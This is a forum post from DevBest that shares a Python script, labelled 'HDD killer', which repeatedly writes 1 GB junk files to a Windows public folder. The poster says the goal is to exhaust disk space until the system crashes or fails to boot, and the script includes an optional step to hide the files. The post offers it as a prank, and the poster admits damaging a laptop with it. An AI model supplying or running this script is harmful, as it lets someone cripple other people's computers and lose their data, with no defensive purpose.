Show DevBest Python: HDD killer

griimnak

You're a slave to the money then you die
Jul 20, 2013
957
800
Hey all, just wanted to share this cool script that I found on *bleep*.
Anyways, it's a simple python script that you can use to flood a hdd with useless bullshit, quite literally.
Basically every 30-60 seconds(these on a low-medium spec pc..speed depends on your pc specs) the python script will write 1 GB.. for 50 times in this case.. This will cause crash to the computer when it leaves just 20 GB on the system because windows needs some free space so the operative system can boot up.. on windows 7 i think the limit is 20 Gb below that the system will crash\block or won't boot up at all..
PHP:
import os,random,sys
def HDkiller():
print "ur don m8"
identificatore="ID"+str(random.randrange(1,10011))
f = open("C:\\Users\\Public\\"+identificatore+".kek", "wb") #win or linux path
f.write("a" * 1073741824)#put size here
f.close()
#cmd=os.popen("attrib +h "+fn) if you want hide the files uncomment here (only windows now)
# cmd.close()
for x in range(0, 50): #50 times = 50 GBs :D
print "\n"
print x
HDkiller()
I left all the comments from the original author of the script, so you can mess around with it. I kinda fucked up one of my poop laptops with this, so have fun lol.
all credits to samick
check out his private site:
 

Quackster

a devbest user says what
Aug 22, 2010
1,765
1,245
f7rJAZ7.gif
 

Users who are viewing this thread

Top